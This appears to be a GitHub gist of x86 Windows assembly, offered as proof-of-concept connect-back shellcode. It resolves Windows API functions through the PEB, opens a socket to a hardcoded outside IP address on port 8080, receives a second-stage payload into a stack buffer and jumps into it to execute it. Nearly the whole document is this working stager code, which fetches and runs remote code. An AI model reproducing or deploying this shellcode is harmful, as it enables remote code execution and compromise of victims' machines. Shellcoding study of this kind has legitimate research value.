Skip to content

Instantly share code, notes, and snippets.

@JohnTroony
Last active April 29, 2023 12:06
Show Gist options
  • Save JohnTroony/ddbc7b6a999ff7d3d0664f89cc4fb5f3 to your computer and use it in GitHub Desktop.
Save JohnTroony/ddbc7b6a999ff7d3d0664f89cc4fb5f3 to your computer and use it in GitHub Desktop.
x86 Shellcoding: PoC code for connect back shellcode that fetch a second stage shellcode and executes it.
; John (Troon) Ombagi
; Twitter/Github : @johntroony
global _start
section .text
_start:
; Create new stack frame
push ebp
mov ebp, esp
; Allocate local variables on stack and initialize them to zero
sub esp, 1ch ; Creat space on stack
xor eax, eax ; Zero out eax
mov [ebp - 04h], eax ; To store number of exported functions
mov [ebp - 08h], eax ; To store address of exported functions addresses table
mov [ebp - 0ch], eax ; To store address of exported functions name table
mov [ebp - 10h], eax ; To store address of exported functions ordinal table
mov [ebp - 14h], eax ; To store a null terminated byte string LoadLibraryA
mov [ebp - 18h], eax ; To store address to LoadLibraryA function
mov [ebp - 1ch], eax ; To store address to GetProcAddress function
; Get kernel32 base address via PEB and exported functions table
mov eax, [fs:eax + 30h] ; Pointer to PEB
mov eax, [eax + 0ch] ; Pointer to Ldr
mov esi, [eax + 14h] ; Pointer to InMemoryOrderModuleList
lodsd ; This program's module
xchg eax, esi ; esi equals eax
lodsd ; Kernel32
mov ebx, [eax + 10h] ; Store kernel32.dll base address in ebx
mov eax, [ebx + 3ch] ; 0x3c into the image - RVA of PE signature
add eax, ebx ; Address of PE signature: eax = eax + kernel32 base -> eax = 0xf8 + kernel32 base
mov eax, [eax + 78h] ; 0x78 bytes after the PE signature is an RVA of Export Table
add eax, ebx ; Address of Export Table = Export Table RVA + kernel32 base
mov ecx, [eax + 14h] ; Get number of exported functions
mov [ebp - 4h], ecx ; Store number of exported functions
mov ecx, [eax + 1ch] ; Get RVA of exported functions table
add ecx, ebx ; Get address of exported functions table
mov [ebp - 8h], ecx ; Store address of exported functions table
mov ecx, [eax + 20h] ; Get RVA of Name Pointer Table
add ecx, ebx ; Get address of Name Pointer Table
mov [ebp - 0ch], ecx ; Store address of Name Pointer Table
mov ecx, [eax + 24h] ; Get RVA of functions ordinal table
add ecx, ebx ; Get address of functions ordinal table
mov [ebp - 10h], ecx ; Store address of functions ordinal table
; Push "LoadLibraryA" on stack and save it to a local variable
xor eax, eax ; Zero out eax
push eax ; Push eax as string terminator (nulls) '\0'
push 0x41797261 ; Push 'aryA' in reverse order
push 0x7262694c ; Push 'Libr' in reverse order
push 0x64616f4c ; Push 'Load' in reverse order
mov [ebp - 14h], esp ; Store pointer to 'LoadLibraryA' string
xor ecx, ecx ; Zero out ecx
findLoadLibraryAPosition:
; Loop through exported function name pointer table
; and find position of a Library
mov esi, [ebp - 14h] ; Save pointer to LoadLibraryA in esi
mov edi, [ebp - 0ch] ; Save pointer to exported function names table in edi
cld ; Direction flag
mov edi, [edi + eax*4] ; Get RVA of the next function name in the exported function names table
add edi, ebx ; Get address of the next function name in the exported function names table
push byte 8 ; Push 8 bytes (pop back to ecx) for comparision
pop cx ; Use first 8 bytes in the next-comparison instruction
repe cmpsb ; check if esi == edi
jz loadLibraryAFound ; Jump to loadLibraryAFound if library found
inc eax ; Increase the counter
cmp eax, [ebp - 4h] ; Check if we have looped over all the exported function names
jmp findLoadLibraryAPosition ; Loop if library not found or not looped over all exported function names
loadLibraryAFound:
mov ecx, [ebp - 10h] ; Ordinal table saved in ecx
mov edx, [ebp - 8h] ; Export address table saved in edx
; Get address of LoadLibraryA ordinal
mov ax, [ecx + eax * 2] ; Get LoadLibraryA ordinal
mov eax, [edx + eax * 4] ; Get RVA of LoadLibraryA function
add eax, ebx ; Get VA of LoadLibraryA
; Decide where to place the found library address
xor ecx, ecx ; Zero out ecx
cmp [ebp - 18h], ecx ; Check if LoadLibraryA is still unset (equals to zeros)
je set_loadlibrary ; If it is unset, jump to set_loadlibrary
ja set_getprocaddress ; If it is set, jump to set_getprocaddress
set_loadlibrary:
mov [ebp - 18h], eax ; Save the found LoadLibraryA address on stack
jmp find_GetProcAddress ; Jump to find_GetProcAddress
set_getprocaddress:
mov dword [ebp - 1ch], eax ; Save the found GetProcAddress on variable GetProcAddress_
jmp load_and_connect ; Jump to load_and_connect
find_GetProcAddress:
; This function reuses the findLoadLibraryAPosition to find position of GetProcAddress
; Push GetProcAddress to stack and save it to a local variable
mov cx,0x7373 ; Last ecx was zero out, save 'ss' in cx
push ecx ; Push null string terminator + 'ss' on stack
push 0x65726464 ; Push 'ddre' in reverse order
push 0x41636f72 ; Push 'rocA' in reverse order
push 0x50746547 ; Push 'GetP' in reverse order
mov [ebp - 14h], esp ; Store pointer to 'GetProcAddress' string
xor eax, eax
xor ecx,ecx
; Reuse function to get GetProcAddress
jmp findLoadLibraryAPosition ; Jump to findLoadLibraryAPosition
load_and_connect:
; Save GetProcAddress in esi
xor esi, esi
mov esi, [ebp - 1ch]
; Get the windows socket dll name
xor eax, eax ; Zero out eax
mov ax, 0x3233 ; Set lower bytes of eax to '32' in reversed order
push eax ; Push null string terminator (zeros) + '32' on stack
push dword 0x5f327377 ; Push 'ws2_' in reverse order
push esp ; push 'ws2_32' in reverse order on stack
; LoadLibraryA(ws2_32)
mov ebx, [ebp -18h] ; Move LoadLibraryA address in ebx
call ebx ; LoadLibraryA(ws2_32)
mov ebp, eax ; Winsocket dll (ws2_32) handle is saved into ebp
; Get the funtion name: WSAStartUp
xor eax, eax ; Zero out eax
mov ax, 0x7075 ; Set lower bytes of eax to 'Up' in reversed order
push eax ; Push null string terminator + 'Up' on stack
push 0x74726174 ; Push 'tart' in reverse order
push 0x53415357 ; Push 'WSAS' in reverse order
push esp ; Save a pointer to 'WSAStartUp' string
push ebp ; Push hmodule
call esi ; GetProcAddress(hmodule, functionname)
; CAll WSAStartUp
xor ebx,ebx ; Zero out ebx
mov ebx,0x1191221 ; Move number 0x1191221 to ebx (avoiding null chars)
sub ebx,0x1191091 ; Subtract 0x1191091 from ebx to get size of WSAData struct
sub esp,ebx ; Create space for receiving the WSAData struct
push esp ; Save a pointer to the WSAData struct
push ebx ; Push EBX as wVersionRequested
call eax ; WSAStartUp(MAKEWORD(2, 2), wsadata_pointer)
; Get the function name: WSASocketA
xor eax, eax ; zero out ebx
mov ax, 0x4174 ; Set lower bytes of eax, 'tA' in reverse order
push eax ; Push nulls (string terminator) and 'At'
push 0x656b636f ; Push 'ekco'
push 0x53415357 ; Push 'SASW'
push esp ; Save a pointer to the 'WSASocketA' string
push ebp ; Push hmodule
call esi ; GetProcAddress(hmodule, functionname)
; Call WSASocket
xor ebx, ebx ; Zero out ebx. Set to NULL
push ebx ; Push dwFlags parameter value 0
push ebx ; Push g parameter value 0
push ebx ; Push lpProtocolInfo parameter value NULL
xor edx, edx ; Zero out edx
mov dl, 6 ; Set protocol arg value 6
push edx ; Push the protocol arg
inc ebx ; Increment ebx to 1
push ebx ; Push the type parameter value 1
inc ebx ; Increment ebx to 2
push ebx ; Push af parameter value 2
call eax ; WSASocket(AF_INET = 2, SOCK_STREAM = 1,
; IPPROTO_TCP = 6, NULL,
; (unsigned int)NULL, (unsigned int)NULL)
xchg eax, edi ; Save the socket descriptor into edi
; Get the function name connect()
mov ebx, 0x74636565 ; Move 'tcee' in ebx
shr ebx, 8 ; Shift ebx right to pad with nulls \0tce'
push ebx ; push '\0tce'
push 0x6e6e6f63 ; push 'nnoc'
push esp ; Save a pointer to 'conncet'
push ebp ; Push hmodule
call esi ; GetProcAddress(hmodule, functionname)
; Call connect
push 0x2b73202d ; Push IP address on stack - 45.32.115.43
push word 0x901f ; Push Port address on stack - 8080
xor ebx, ebx ; Zero out ebx
add bl, 2 ; Add 2 to bl for sin_family
push word bx ; Push sin_port and sin_family to stack
mov edx, esp ; MOV pointer for sin_port & sin_family into edx
push byte 16 ; Push the namelen parameter value as 0x10
push edx ; Push the the pointer to the sockaddr structure
push edi ; Push the socket descriptor
call eax ; connect(s1, (SOCKADDR*) &hax, sizeof(hax) = 16);
; Get the function name connect from ws2_32
xor ebx, ebx ; Zero out ebx
push ebx ; Push ebx as null terminator
push 0x76636572 ; Push 'recv' in reverse
push esp ; Save a pointer to the 'recv' string
push ebp ; Push hmodule
call esi ; GetProcAddress(hmodule, functionname)
; Save current stack before we execute the received buffer (Stage 2 shellcode)
push ebp
mov ebp, esp
; Use recv() to receive the new buffer of stage 2 shellcode
xor ebx, ebx ; Zero out ebx
mov bx, 1111h ; Increment EBX to 0x1111
sub bx, 111h ; Subtract EBX to make it 0x1000 = 4096 bytes
sub esp,ebx ; Allocate 4096 bytes of stack space for use in the recv call
mov ebp,esp ; Save the pointer to the buffer in EBP
xor ecx,ecx ; Zero ECX for use as the flags argument
push ecx ; Push flags arg -- 0 for no flags
push ebx ; Push len arg -- Size of the buffer for incoming shellcode, 4096
push ebp ; Push buf arg -- Pointer to output buffer
push edi ; Push s arg -- Descriptor returned by WSASocketA
call eax ; Call recv()
; Jump to the stage 2 shellcode and execute
jmp ebp ; Jump into the buffer that was read
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment